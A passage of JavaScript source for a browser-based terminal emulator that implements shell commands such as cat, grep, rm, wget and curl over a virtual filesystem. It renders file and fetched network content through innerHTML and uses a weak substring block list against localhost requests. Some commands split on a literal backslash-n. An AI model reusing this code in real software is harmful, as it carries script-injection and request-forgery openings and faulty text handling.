nameClass = 'archive-name';\n                    } else if (c.name.match(/\\.(jpg|jpeg|png|gif|svg|bmp)$/)) {\n                        nameClass = 'image-name';\n                    } else if (c.name.match(/\\.(txt|md|log)$/)) {\n                        nameClass = 'text-name';\n                    }\n                    \n                    return `<span class=\"${nameClass}\">${nameDisplay}</span>`;\n                });\n                this.printLine(names.join('  |  '));\n            }\n        } catch (error) {\n            this.printLine(`ls: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_cd(args) {\n        if (this.checkHelp(args, 'cd')) return;\n        \n        const path = args[0] || window.axiomEnv.get('HOME');\n        \n        try {\n            window.axiomContainer.changeDirectory(path);\n        } catch (error) {\n            this.printLine(`cd: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_pwd(args) {\n        if (this.checkHelp(args, 'pwd')) return;\n        this.printLine(window.axiomContainer.getCurrentDirectory());\n    }\n\n    async cmd_cat(args) {\n        if (this.checkHelp(args, 'cat')) return;\n        \n        const { flags, params } = this.filterFlags(args);\n        const showLineNumbers = this.hasCommonFlag(args, '-n');\n        \n        if (params.length === 0) {\n            this.printLine('cat: missing file operand', 'output-error');\n            this.printLine(\"Try 'cat --help' for more information.\");\n            return;\n        }\n\n        try {\n            for (const file of params) {\n                const content = window.axiomContainer.readFile(file);\n                \n                // Limit output size\n                if (content.length > 10 * 1024 * 1024) {\n                    this.printLine('cat: file too large to display (max 10MB)', 'output-error');\n                    return;\n                }\n                \n                if (showLineNumbers) {\n                    const lines = content.split('\\\\n');\n                    lines.forEach((line, i) => {\n                        this.printLine(`${(i + 1).toString().padStart(6)}  ${line}`);\n                    });\n                } else {\n                    this.printLine(content);\n                }\n            }\n        } catch (error) {\n            this.printLine(`cat: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_echo(args) {\n        if (this.checkHelp(args, 'echo')) return;\n        \n        const text = args.join(' ');\n        \n        // Limit text length\n        if (text.length > 100000) {\n            this.printLine('echo: text too long (max 100KB)', 'output-error');\n            return;\n        }\n        \n        // Check for output redirection\n        if (text.includes('>')) {\n            const parts = text.split('>');\n            const content = parts[0].trim();\n            const file = parts[1].trim();\n            const append = text.includes('>>');\n            \n            // Validate filename\n            if (!file || file.length > 4096) {\n                this.printLine('echo: invalid filename', 'output-error');\n                return;\n            }\n            \n            try {\n                window.axiomContainer.writeFile(file, content + '\\n', append);\n            } catch (error) {\n                this.printLine(`echo: ${error.message}`, 'output-error');\n            }\n        } else {\n            this.printLine(window.axiomEnv.expand(text));\n        }\n    }\n\n    async cmd_touch(args) {\n        if (this.checkHelp(args, 'touch')) return;\n        \n        if (args.length === 0) {\n            this.printLine('touch: missing file operand', 'output-error');\n            this.printLine('Try \\'touch --help\\' for more information.');\n            return;\n        }\n        \n        // Limit bulk operations\n        if (args.length > 100) {\n            this.printLine('touch: too many arguments (max 100)', 'output-error');\n            return;\n        }\n\n        try {\n            for (const file of args) {\n                if (!window.axiomContainer.exists(file)) {\n                    window.axiomContainer.writeFile(file, '');\n                }\n            }\n        } catch (error) {\n            this.printLine(`touch: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_mkdir(args) {\n        if (this.checkHelp(args, 'mkdir')) return;\n        \n        const { flags, params } = this.filterFlags(args);\n        \n        if (params.length === 0) {\n            this.printLine('mkdir: missing operand', 'output-error');\n            this.printLine('Try \\'mkdir --help\\' for more information.');\n            return;\n        }\n        \n        if (params.length > 100) {\n            this.printLine('mkdir: too many arguments (max 100)', 'output-error');\n            return;\n        }\n\n        try {\n            for (const dir of params) {\n                window.axiomContainer.createDirectory(dir);\n            }\n        } catch (error) {\n            this.printLine(`mkdir: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_rm(args) {\n        if (this.checkHelp(args, 'rm')) return;\n        \n        const { flags, params } = this.filterFlags(args);\n        const recursive = this.hasCommonFlag(args, '-r', '-R');\n        const force = this.hasCommonFlag(args, '-f');\n        \n        if (params.length === 0) {\n            this.printLine('rm: missing operand', 'output-error');\n            this.printLine('Try \\'rm --help\\' for more information.');\n            return;\n        }\n        \n        if (params.length > 100) {\n            this.printLine('rm: too many arguments (max 100)', 'output-error');\n            return;\n        }\n\n        try {\n            for (const pattern of params) {\n                // Expand wildcards\n                const files = this.expandWildcards(pattern);\n                \n                for (const file of files) {\n                    try {\n                        const entry = window.axiomContainer.getFile(file);\n                        \n                        if (entry && entry.type === 'directory') {\n                            if (recursive) {\n                                // Recursive delete not fully implemented, just try remove\n                                window.axiomContainer.removeDirectory(file);\n                            } else {\n                                if (!force) {\n                                    this.printLine(`rm: cannot remove '${file}': Is a directory`, 'output-error');\n                                }\n                            }\n                        } else {\n                            window.axiomContainer.deleteFile(file);\n                        }\n                    } catch (e) {\n                        if (!force) {\n                            this.printLine(`rm: ${e.message}`, 'output-error');\n                        }\n                    }\n                }\n            }\n        } catch (error) {\n            if (!force) {\n                this.printLine(`rm: ${error.message}`, 'output-error');\n            }\n        }\n    }\n\n    async cmd_rmdir(args) {\n        if (this.checkHelp(args, 'rmdir')) return;\n        \n        const { flags, params } = this.filterFlags(args);\n        \n        if (params.length === 0) {\n            this.printLine('rmdir: missing operand', 'output-error');\n            this.printLine('Try \\'rmdir --help\\' for more information.');\n            return;\n        }\n        \n        if (params.length > 100) {\n            this.printLine('rmdir: too many arguments (max 100)', 'output-error');\n            return;\n        }\n\n        try {\n            for (const dir of params) {\n                window.axiomContainer.removeDirectory(dir);\n            }\n        } catch (error) {\n            this.printLine(`rmdir: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_cp(args) {\n        if (this.checkHelp(args, 'cp')) return;\n        \n        const { flags, params } = this.filterFlags(args);\n        const verbose = this.hasCommonFlag(args, '-v');\n        \n        if (params.length < 2) {\n            this.printLine('cp: missing file operand', 'output-error');\n            this.printLine('Try \\'cp --help\\' for more information.');\n            return;\n        }\n\n        try {\n            window.axiomContainer.copyFile(params[0], params[1]);\n            if (verbose) {\n                this.printLine(`'${params[0]}' -> '${params[1]}'`, 'output-success');\n            }\n        } catch (error) {\n            this.printLine(`cp: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_mv(args) {\n        if (this.checkHelp(args, 'mv')) return;\n        \n        const { flags, params } = this.filterFlags(args);\n        const verbose = this.hasCommonFlag(args, '-v');\n        \n        if (params.length < 2) {\n            this.printLine('mv: missing file operand', 'output-error');\n            this.printLine('Try \\'mv --help\\' for more information.');\n            return;\n        }\n\n        try {\n            window.axiomContainer.moveFile(params[0], params[1]);\n            if (verbose) {\n                this.printLine(`'${params[0]}' -> '${params[1]}'`, 'output-success');\n            }\n        } catch (error) {\n            this.printLine(`mv: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_find(args) {\n        if (this.checkHelp(args, 'find')) return;\n        \n        const path = args[0] || '.';\n        const pattern = args[1] || '*';\n        \n        // Limit pattern length\n        if (pattern.length > 255) {\n            this.printLine('find: pattern too long (max 255 characters)', 'output-error');\n            return;\n        }\n        \n        try {\n            const allFiles = [];\n            const maxResults = 10000;\n            const maxDepth = 100;\n            \n            const findRecursive = (dir, depth = 0) => {\n                // Prevent excessive recursion\n                if (depth > maxDepth) {\n                    throw new Error(`Maximum directory depth exceeded (${maxDepth})`);\n                }\n                \n                // Limit results\n                if (allFiles.length >= maxResults) {\n                    return;\n                }\n                \n                const children = window.axiomContainer.listDirectory(dir);\n                \n                for (const child of children) {\n                    if (allFiles.length >= maxResults) break;\n                    \n                    if (child.name.includes(pattern) || pattern === '*') {\n                        allFiles.push(child.path);\n                    }\n                    if (child.type === 'directory') {\n                        findRecursive(child.path, depth + 1);\n                    }\n                }\n            };\n            \n            findRecursive(path);\n            \n            allFiles.forEach(f => this.printLine(f));\n            \n            if (allFiles.length >= maxResults) {\n                this.printLine(`find: output truncated (max ${maxResults} results)`, 'output-warning');\n            }\n        } catch (error) {\n            this.printLine(`find: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_grep(args) {\n        if (this.checkHelp(args, 'grep')) return;\n        \n        const { flags, params } = this.filterFlags(args);\n        const ignoreCase = this.hasCommonFlag(args, '-i');\n        const invertMatch = this.hasCommonFlag(args, '-v');\n        const countOnly = this.hasCommonFlag(args, '-c');\n        \n        if (params.length < 2) {\n            this.printLine('grep: missing operand', 'output-error');\n            this.printLine(\"Try 'grep --help' for more information.\");\n            return;\n        }\n\n        const pattern = String(params[0] || '');\n        const file = params[1];\n        \n        // Limit pattern length\n        if (pattern.length > 1000) {\n            this.printLine('grep: pattern too long (max 1000 characters)', 'output-error');\n            return;\n        }\n\n        try {\n            const content = window.axiomContainer.readFile(file);\n            \n            // Limit file size for grep\n            if (content.length > 5 * 1024 * 1024) {\n                this.printLine('grep: file too large (max 5MB)', 'output-error');\n                return;\n            }\n            \n            const lines = content.split('\\\\n');\n            let matchCount = 0;\n            const maxMatches = 10000;\n            \n            lines.forEach((line, index) => {\n                if (matchCount >= maxMatches && !countOnly) return;\n                \n                let matches = false;\n                if (ignoreCase) {\n                    matches = line.toLowerCase().includes(pattern.toLowerCase());\n                } else {\n                    matches = line.includes(pattern);\n                }\n                \n                if (invertMatch) matches = !matches;\n                \n                if (matches) {\n                    matchCount++;\n                    if (!countOnly) {\n                        this.printLine(`${index + 1}: ${line}`);\n                    }\n                }\n            });\n            \n            if (countOnly) {\n                this.printLine(matchCount.toString());\n            } else if (matchCount >= maxMatches) {\n                this.printLine(`grep: output truncated (max ${maxMatches} matches)`, 'output-warning');\n            }\n        } catch (error) {\n            this.printLine(`grep: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_head(args) {\n        if (this.checkHelp(args, 'head')) return;\n        \n        let lines = 10;\n        if (args.includes('-n')) {\n            const lineArg = args[args.indexOf('-n') + 1];\n            lines = parseInt(lineArg);\n            if (isNaN(lines) || lines < 0) {\n                this.printLine('head: invalid number of lines', 'output-error');\n                return;\n            }\n            lines = Math.min(lines, 100000);\n        }\n        \n        const file = args.filter(a => !a.startsWith('-') && a !== args[args.indexOf('-n') + 1])[0];\n\n        if (!file) {\n            this.printLine('head: missing file operand', 'output-error');\n            this.printLine('Try \\'head --help\\' for more information.');\n            return;\n        }\n\n        try {\n            const content = window.axiomContainer.readFile(file);\n            const fileLines = content.split('\\n');\n            this.printLine(fileLines.slice(0, lines).join('\\n'));\n        } catch (error) {\n            this.printLine(`head: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_tail(args) {\n        if (this.checkHelp(args, 'tail')) return;\n        \n        let lines = 10;\n        if (args.includes('-n')) {\n            const lineArg = args[args.indexOf('-n') + 1];\n            lines = parseInt(lineArg);\n            if (isNaN(lines) || lines < 0) {\n                this.printLine('tail: invalid number of lines', 'output-error');\n                return;\n            }\n            lines = Math.min(lines, 100000);\n        }\n        \n        const file = args.filter(a => !a.startsWith('-') && a !== args[args.indexOf('-n') + 1])[0];\n\n        if (!file) {\n            this.printLine('tail: missing file operand', 'output-error');\n            this.printLine('Try \\'tail --help\\' for more information.');\n            return;\n        }\n\n        try {\n            const content = window.axiomContainer.readFile(file);\n            const fileLines = content.split('\\n');\n            this.printLine(fileLines.slice(-lines).join('\\n'));\n        } catch (error) {\n            this.printLine(`tail: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_wc(args) {\n        if (this.checkHelp(args, 'wc')) return;\n        \n        if (args.length === 0) {\n            this.printLine('wc: missing file operand', 'output-error');\n            this.printLine('Try \\'wc --help\\' for more information.');\n            return;\n        }\n\n        try {\n            const content = window.axiomContainer.readFile(args[0]);\n            const lines = content.split('\\n').length;\n            const words = content.split(/\\s+/).filter(w => w.length > 0).length;\n            const chars = content.length;\n            \n            this.printLine(`${lines.toString().padStart(8)} ${words.toString().padStart(8)} ${chars.toString().padStart(8)} ${args[0]}`);\n        } catch (error) {\n            this.printLine(`wc: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_uname(args) {\n        if (this.checkHelp(args, 'uname')) return;\n        \n        if (args.includes('-a')) {\n            this.printLine('Axiom 1.0.0 axiom x86_64 DosX-Processor-A10');\n        } else {\n            this.printLine('Axiom');\n        }\n    }\n\n    async cmd_whoami(args) {\n        if (this.checkHelp(args, 'whoami')) return;\n        this.printLine(window.axiomEnv.get('USER'));\n    }\n\n    async cmd_date(args) {\n        if (this.checkHelp(args, 'date')) return;\n        this.printLine(new Date().toString());\n    }\n\n    async cmd_uptime(args) {\n        if (this.checkHelp(args, 'uptime')) return;\n        \n        const uptime = Date.now() - window.performance.timeOrigin;\n        const seconds = Math.floor(uptime / 1000);\n        const minutes = Math.floor(seconds / 60);\n        const hours = Math.floor(minutes / 60);\n        \n        this.printLine(`up ${hours}h ${minutes % 60}m ${seconds % 60}s`);\n    }\n\n    async cmd_free(args) {\n        if (this.checkHelp(args, 'free')) return;\n        \n        const memInfo = window.axiomMemory.getMemoryInfo();\n        \n        this.printLine('              total        used        free');\n        this.printLine(`Mem:      ${memInfo.total.toString().padStart(8)} ${memInfo.allocated.toString().padStart(11)} ${memInfo.free.toString().padStart(11)}`);\n    }\n\n    async cmd_df(args) {\n        if (this.checkHelp(args, 'df')) return;\n        \n        const stats = window.axiomContainer.getStorageStats();\n        \n        this.printLine('Filesystem      Size  Used Avail Use%');\n        this.printLine(`/dev/axiom     ${Math.floor(stats.total/1024)}K  ${Math.floor(stats.used/1024)}K  ${Math.floor(stats.free/1024)}K  ${stats.usedPercent}%`);\n        \n        // Show compression info if enabled\n        if (stats.compressed && stats.compressionRatio) {\n            this.printLine('');\n            this.printLine(`<span class=\"output-success\">Compression: ${stats.algorithm} (${stats.compressionRatio}% saved)</span>`);\n        }\n    }\n\n    async cmd_ps(args) {\n        if (this.checkHelp(args, 'ps')) return;\n        \n        const processes = window.axiomVM.listProcesses();\n        \n        this.printLine('PID  STATE        NAME');\n        processes.forEach(proc => {\n            this.printLine(`${proc.pid.toString().padStart(4)} ${proc.state.padEnd(12)} ${proc.name}`);\n        });\n    }\n\n    async cmd_top(args) {\n        if (this.checkHelp(args, 'top')) return;\n        \n        const cpuInfo = window.axiomCPU.getState();\n        const memInfo = window.axiomMemory.getMemoryInfo();\n        const counters = window.axiomCPU.getCounters();\n        \n        this.printLine('<span class=\"cpu-info\">CPU Usage:</span>');\n        this.printLine(`  Running: ${cpuInfo.running}`);\n        this.printLine(`  Instructions: ${counters.instructionsExecuted}`);\n        this.printLine(`  Cycles: ${counters.cyclesElapsed}`);\n        this.printLine('');\n        this.printLine('<span class=\"cpu-info\">Memory:</span>');\n        this.printLine(`  Total: ${memInfo.total} MB`);\n        this.printLine(`  Used: ${memInfo.allocated} MB`);\n        this.printLine(`  Free: ${memInfo.free} MB`);\n    }\n\n    async cmd_cpuinfo(args) {\n        if (this.checkHelp(args, 'cpuinfo')) return;\n        \n        const cpuInfo = window.axiomCPU.getCPUInfo();\n        \n        this.printLine('<span class=\"cpu-info\">Processor Information:</span>');\n        this.printLine(`  Model name:    ${cpuInfo.name}`);\n        this.printLine(`  Vendor:        ${cpuInfo.vendor}`);\n        this.printLine(`  Architecture:  ${cpuInfo.architecture}`);\n        this.printLine(`  CPU cores:     ${cpuInfo.cores}`);\n        this.printLine(`  Threads:       ${cpuInfo.threads}`);\n        this.printLine(`  Clock speed:   ${cpuInfo.clockSpeed} MHz`);\n        this.printLine(`  Features:      ${cpuInfo.features.join(', ')}`);\n    }\n\n    async cmd_lscpu(args) {\n        if (this.checkHelp(args, 'lscpu')) return;\n        await this.cmd_cpuinfo(args);\n    }\n\n    async cmd_env(args) {\n        if (this.checkHelp(args, 'env')) return;\n        \n        const vars = window.axiomEnv.list();\n        \n        for (const [key, value] of Object.entries(vars)) {\n            this.printLine(`${key}=${value}`);\n        }\n    }\n\n    async cmd_export(args) {\n        if (this.checkHelp(args, 'export')) return;\n        \n        if (args.length === 0) {\n            await this.cmd_env(args);\n            return;\n        }\n\n        for (const arg of args) {\n            const [key, value] = arg.split('=');\n            if (key && value) {\n                window.axiomEnv.set(key, value);\n            } else {\n                this.printLine(`export: invalid format. Use VAR=value`, 'output-error');\n            }\n        }\n    }\n\n    async cmd_unset(args) {\n        if (this.checkHelp(args, 'unset')) return;\n        \n        if (args.length === 0) {\n            this.printLine('unset: missing variable name', 'output-error');\n            this.printLine('Try \\'unset --help\\' for more information.');\n            return;\n        }\n\n        for (const key of args) {\n            window.axiomEnv.unset(key);\n        }\n    }\n\n    // Terminal UI methods\n    print(text) {\n        const line = document.createElement('div');\n        line.className = 'output-line';\n        line.innerHTML = text;\n        this.outputElement.appendChild(line);\n        this.scrollToBottom();\n    }\n\n    printLine(text, className = '') {\n        // Don't print when in editor mode\n        if (this.editorMode) return;\n        \n        const line = document.createElement('div');\n        line.className = 'output-line ' + className;\n        line.innerHTML = text;\n        this.outputElement.appendChild(line);\n        this.scrollToBottom();\n    }\n\n    clearScreen() {\n        this.outputElement.innerHTML = '';\n    }\n\n    // Alias for external access\n    clear() {\n        this.clearScreen();\n    }\n\n    updatePrompt(prompt) {\n        // Update prompt in current input line\n        if (this.currentInputLine) {\n            const promptSpan = this.currentInputLine.querySelector('.input-prompt');\n            if (promptSpan) {\n                promptSpan.textContent = prompt;\n            }\n        }\n    }\n\n    updateStatus(status) {\n        this.statusElement.textContent = status;\n    }\n\n    scrollToBottom() {\n        this.outputElement.scrollTop = this.outputElement.scrollHeight;\n    }\n\n    setupContextMenu() {\n        const contextMenu = document.getElementById('axiom-context-menu');\n        const container = document.getElementById('terminal-container');\n        \n        // Show context menu on right-click\n        container.addEventListener('contextmenu', (e) => {\n            e.preventDefault();\n            \n            const selection = window.getSelection();\n            const hasSelection = selection && selection.toString().length > 0;\n            \n            // Position menu\n            contextMenu.style.left = `${e.pageX}px`;\n            contextMenu.style.top = `${e.pageY}px`;\n            contextMenu.classList.add('show');\n            \n            // Enable/disable Copy based on selection\n            const copyItem = contextMenu.querySelector('[data-action=\"copy\"]');\n            if (hasSelection) {\n                copyItem.classList.remove('disabled');\n            } else {\n                copyItem.classList.add('disabled');\n            }\n        });\n        \n        // Hide context menu on click outside\n        document.addEventListener('click', (e) => {\n            if (!contextMenu.contains(e.target)) {\n                contextMenu.classList.remove('show');\n            }\n        });\n        \n        // Handle menu item clicks\n        contextMenu.addEventListener('click', async (e) => {\n            const item = e.target.closest('.context-menu-item');\n            if (!item || item.classList.contains('disabled')) return;\n            \n            const action = item.dataset.action;\n            contextMenu.classList.remove('show');\n            \n            switch (action) {\n                case 'copy':\n                    const selection = window.getSelection();\n                    if (selection && selection.toString().length > 0) {\n                        try {\n                            await navigator.clipboard.writeText(selection.toString());\n                        } catch (err) {\n                            // Fallback for older browsers\n                            document.execCommand('copy');\n                        }\n                    }\n                    break;\n                    \n                case 'paste':\n                    try {\n                        const text = await navigator.clipboard.readText();\n                        if (text && this.currentInputLine) {\n                            // Replace newlines with spaces to prevent breaking the terminal\n                            const sanitizedText = text.replace(/[\\r\\n]+/g, ' ').trim();\n                            \n                            if (sanitizedText) {\n                                // Insert text at cursor position\n                                this.currentInput = this.currentInput.substring(0, this.cursorPosition) + \n                                                   sanitizedText + \n                                                   this.currentInput.substring(this.cursorPosition);\n                                this.cursorPosition += sanitizedText.length;\n                                this.updateInputDisplay();\n                            }\n                        }\n                    } catch (err) {\n                        this.printLine('Paste permission denied', 'output-error');\n                    }\n                    break;\n                    \n                case 'reboot':\n                    this.clearScreen();\n                    this.printLine('Rebooting Axiom OS...', 'output-warning');\n                    setTimeout(() => {\n                        location.reload();\n                    }, 500);\n                    break;\n            }\n        });\n    }\n\n    // Alias management\n    loadAliases() {\n        try {\n            // Try to load from file system first\n            if (window.axiomContainer && window.axiomContainer.exists('/etc/aliases')) {\n                const aliasesData = window.axiomContainer.readFile('/etc/aliases');\n                const aliases = JSON.parse(aliasesData);\n                for (const [key, value] of Object.entries(aliases)) {\n                    this.aliases.set(key, value);\n                }\n                return;\n            }\n            \n            // Fallback: migrate from localStorage if exists\n            const stored = localStorage.getItem('axiom_aliases');\n            if (stored) {\n                const aliases = JSON.parse(stored);\n                for (const [key, value] of Object.entries(aliases)) {\n                    this.aliases.set(key, value);\n                }\n                // Migrate to file system\n                this.saveAliases();\n                // Clean up old localStorage\n                localStorage.removeItem('axiom_aliases');\n            }\n        } catch (e) {\n            console.warn('Failed to load aliases:', e);\n        }\n    }\n\n    saveAliases() {\n        try {\n            const obj = {};\n            for (const [key, value] of this.aliases.entries()) {\n                obj[key] = value;\n            }\n            const aliasesData = JSON.stringify(obj);\n            \n            // Ensure /etc directory exists\n            if (!window.axiomContainer.exists('/etc')) {\n                window.axiomContainer.createDirectory('/etc', true);\n            }\n            \n            // Save to file system (will be compressed automatically by VMContainer)\n            window.axiomContainer.writeFile('/etc/aliases', aliasesData);\n        } catch (e) {\n            console.warn('Failed to save aliases:', e);\n        }\n    }\n\n    // Network commands\n    async cmd_wget(args) {\n        if (this.checkHelp(args, 'wget')) return;\n        \n        if (args.length === 0) {\n            this.printLine('wget: missing URL', 'output-error');\n            this.printLine(\"Try 'wget --help' for more information.\");\n            return;\n        }\n\n        const url = String(args[0] || '').trim();\n        \n        // Validate URL\n        try {\n            const urlObj = new URL(url);\n            if (!['http:', 'https:'].includes(urlObj.protocol)) {\n                throw new Error('Only HTTP/HTTPS protocols are supported');\n            }\n            // Prevent SSRF to localhost/private IPs\n            if (['localhost', '127.0.0.1', '0.0.0.0', '::1'].some(h => urlObj.hostname.includes(h))) {\n                throw new Error('Access to localhost is not allowed');\n            }\n        } catch (e) {\n            this.printLine(`wget: ${e.message}`, 'output-error');\n            return;\n        }\n        \n        const outputFile = args.includes('-O') ? args[args.indexOf('-O') + 1] : url.split('/').pop() || 'index.html';\n        \n        // Validate output filename\n        if (outputFile.length > 255) {\n            this.printLine('wget: filename too long', 'output-error');\n            return;\n        }\n\n        this.printLine(`Connecting to ${url}...`);\n\n        try {\n            const controller = new AbortController();\n            const timeoutId = setTimeout(() => controller.abort(), 30000); // 30s timeout\n            \n            const response = await fetch(url, {\n                signal: controller.signal,\n                redirect: 'follow',\n                headers: { 'User-Agent': 'Axiom-wget/1.0' }\n            });\n            \n            clearTimeout(timeoutId);\n            \n            if (!response.ok) {\n                throw new Error(`HTTP ${response.status} ${response.statusText}`);\n            }\n            \n            // Check content length\n            const contentLength = response.headers.get('content-length');\n            if (contentLength && parseInt(contentLength) > 5 * 1024 * 1024) {\n                throw new Error('File too large (max 5MB)');\n            }\n\n            const content = await response.text();\n            \n            // Double-check actual size\n            if (content.length > 5 * 1024 * 1024) {\n                throw new Error('File too large (max 5MB)');\n            }\n            \n            window.axiomContainer.writeFile(outputFile, content);\n            \n            this.printLine(`Saved to '${outputFile}' (${content.length} bytes)`, 'output-success');\n        } catch (error) {\n            this.printLine(`wget: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_curl(args) {\n        if (this.checkHelp(args, 'curl')) return;\n        \n        if (args.length === 0) {\n            this.printLine('curl: missing URL', 'output-error');\n            this.printLine(\"Try 'curl --help' for more information.\");\n            return;\n        }\n\n        const url = String(args[0] || '').trim();\n        \n        // Validate URL\n        try {\n            const urlObj = new URL(url);\n            if (!['http:', 'https:'].includes(urlObj.protocol)) {\n                throw new Error('Only HTTP/HTTPS protocols are supported');\n            }\n            if (['localhost', '127.0.0.1', '0.0.0.0', '::1'].some(h => urlObj.hostname.includes(h))) {\n                throw new Error('Access to localhost is not allowed');\n            }\n        } catch (e) {\n            this.printLine(`curl: ${e.message}`, 'output-error');\n            return;\n        }\n        \n        const outputFile = args.includes('-o') ? args[args.indexOf('-o') + 1] : null;\n\n        try {\n            const controller = new AbortController();\n            const timeoutId = setTimeout(() => controller.abort(), 30000);\n            \n            const response = await fetch(url, {\n                signal: controller.signal,\n                redirect: 'follow',\n                headers: { 'User-Agent': 'Axiom-curl/1.0' }\n            });\n            \n            clearTimeout(timeoutId);\n            \n            if (!response.ok) {\n                throw new Error(`HTTP ${response.status} ${response.statusText}`);\n            }\n            \n            const contentLength = response.headers.get('content-length');\n            if (contentLength && parseInt(contentLength) > 5 * 1024 * 1024) {\n                throw new Error('Response too large (max 5MB)');\n            }\n\n            const content = await response.text();\n            \n            if (content.length > 5 * 1024 * 1024) {\n                throw new Error('Response too large (max 5MB)');\n            }\n            \n            if (outputFile) {\n                window.axiomContainer.writeFile(outputFile, content);\n                this.printLine(`Saved to '${outputFile}'`, 'output-success');\n            } else {\n                this.printLine(content);\n            }\n        } catch (error) {\n            this.printLine(`curl: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_ping(args) {\n        if (this.checkHelp(args, 'ping')) return;\n        \n        if (args.length === 0) {\n            this.printLine('ping: missing host', 'output-error');\n            this.printLine(\"Try 'ping --help' for more information.\");\n            return;\n        }\n\n        const host = String(args[0] || '').trim();\n        \n        // Validate hostname\n        if (!host || host.length > 253) {\n            this.printLine('ping: invalid hostname', 'output-error');\n            return;\n        }\n        \n        // Block localhost/private IPs\n        if (['localhost', '127.0.0.1', '0.0.0.0', '::1'].some(h => host.includes(h))) {\n            this.printLine('ping: access to localhost is not allowed', 'output-error');\n            return;\n        }\n        \n        this.printLine(`PING ${host}...`);\n\n        try {\n            const start = Date.now();\n            const controller = new AbortController();\n            const timeoutId = setTimeout(() => controller.abort(), 5000);\n            \n            await fetch(`https://${host}`, { \n                method: 'HEAD', \n                mode: 'no-cors',\n                signal: controller.signal\n            });\n            \n            clearTimeout(timeoutId);\n            const time = Date.now() - start;\n            \n            this.printLine(`Reply from ${host}: time=${time}ms`, 'output-success');\n        } catch (error) {\n            this.printLine(`ping: ${host}: Host unreachable`, 'output-error');\n        }\n    }\n\n    async cmd_netstat(args) {\n        if (this.checkHelp(args, 'netstat')) return;\n        \n        this.printLine('Active Internet connections');\n        this.printLine('Proto  Local Address          State');\n        this.printLine('tcp    localhost:80           LISTEN');\n        this.printLine('tcp    localhost:443          LISTEN');\n    }\n\n    // System utilities\n    async cmd_man(args) {\n        if (args.length === 0) {\n            this.printLine('man: missing command', 'output-error');\n            this.printLine(\"Try 'man --help' for more information.\");\n            return;\n        }\n\n        const commandName = args[0];\n        const cmd = this.commands.get(commandName);\n        \n        if (!cmd) {\n            this.printLine(`No manual entry for ${commandName}`, 'output-error');\n            return;\n        }\n\n        this.printLine(`NAME`, 'output-info');\n        this.printLine(`    ${commandName} - ${cmd.description}`);\n        this.printLine('');\n        this.printLine(`SYNOPSIS`, 'output-info');\n        this.printLine(`    ${commandName} ${cmd.usage}`);\n        this.printLine('');\n        this.printLine(`DESCRIPTION`, 'output-info');\n        this.printLine(`    ${cmd.description}`);\n        this.printLine('');\n        this.printLine(`OPTIONS`, 'output-info');\n        this.printLine(`    --help, -h`);\n        this.printLine(`        Display this help message`);\n    }\n\n    async cmd_which(args) {\n        if (this.checkHelp(args, 'which')) return;\n        \n        if (args.length === 0) {\n            this.printLine('which: missing command', 'output-error');\n            this.printLine(\"Try 'which --help' for more information.\");\n            return;\n        }\n\n        const commandName = args[0];\n        \n        if (this.commands.has(commandName)) {\n            this.printLine(`/usr/bin/${commandName}`);\n        } else if (this.aliases.has(commandName)) {\n            this.printLine(`alias ${commandName}='${this.aliases.get(commandName)}'`);\n        } else {\n            this.printLine(`${commandName} not found`, 'output-error');\n        }\n    }\n\n    async cmd_alias(args) {\n        if (this.checkHelp(args, 'alias')) return;\n        \n        if (args.length === 0) {\n            // List all aliases\n            if (this.aliases.size === 0) {\n                this.printLine('No aliases defined');\n            } else {\n                for (const [name, command] of this.aliases.entries()) {\n                    this.printLine(`alias ${name}='${command}'`);\n                }\n            }\n            return;\n        }\n\n        // Create alias\n        const aliasStr = args.join(' ');\n        const match = aliasStr.match(/^(\\w+)=(.+)$/);\n        \n        if (!match) {\n            this.printLine('alias: invalid format. Use: alias name=command', 'output-error');\n            return;\n        }\n\n        const [, name, command] = match;\n        this.aliases.set(name, command.replace(/^['\"]|['\"]$/g, ''));\n        this.saveAliases();\n        \n        this.printLine(`alias ${name}='${command}'`, 'output-success');\n    }\n\n    async cmd_ln(args) {\n        if (this.checkHelp(args, 'ln')) return;\n        \n        const symbolic = args.includes('-s');\n        const files = args.filter(a => a !== '-s');\n        \n        if (files.length < 2) {\n            this.printLine('ln: missing file operand', 'output-error');\n            this.printLine(\"Try 'ln --help' for more information.\");\n            return;\n        }\n\n        const target = files[0];\n        const link = files[1];\n\n        try {\n            if (!window.axiomContainer.exists(target)) {\n                throw new Error(`cannot access '${target}': No such file or directory`);\n            }\n\n            // Create symbolic link (stored as special file)\n            const content = window.axiomContainer.readFile(target);\n            window.axiomContainer.writeFile(link, content);\n            \n            this.printLine(`Created link '${link}' -> '${target}'`, 'output-success');\n        } catch (error) {\n            this.printLine(`ln: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_sort(args) {\n        if (this.checkHelp(args, 'sort')) return;\n        \n        if (args.length === 0) {\n            this.printLine('sort: missing file operand', 'output-error');\n            this.printLine(\"Try 'sort --help' for more information.\");\n            return;\n        }\n\n        try {\n            const content = window.axiomContainer.readFile(args[0]);\n            const lines = content.split('\\\\n');\n            lines.sort();\n            this.printLine(lines.join('\\\\n'));\n        } catch (error) {\n            this.printLine(`sort: ${error.message}`, 'output-error');\n        }\n    }\n\n    async cmd_uniq(args) {\n        if (this.checkHelp(args, 'uniq')) return;\n        \n        let content;\n        \n        // Check for piped input\n        if (window.axiomPipeData) {\n            content = window.axiomPipeData;\n        } else if (args.length > 0) {\n            try {\n                content = window.axiomContainer.readFile(args[0]);\n            } catch (error) {\n                this.printLine(`uniq: ${error.message}`, 'output-error');\n                return;\n            }\n        } else {\n            this.printLine('uniq: missing file operand', 'output-error');\n            this.printLine(\"Try 'uniq --help' for more information.\");\n            return;\n        }\n\n        const lines = content.split('\\\\n');\n        const unique = [];\n        let prev = 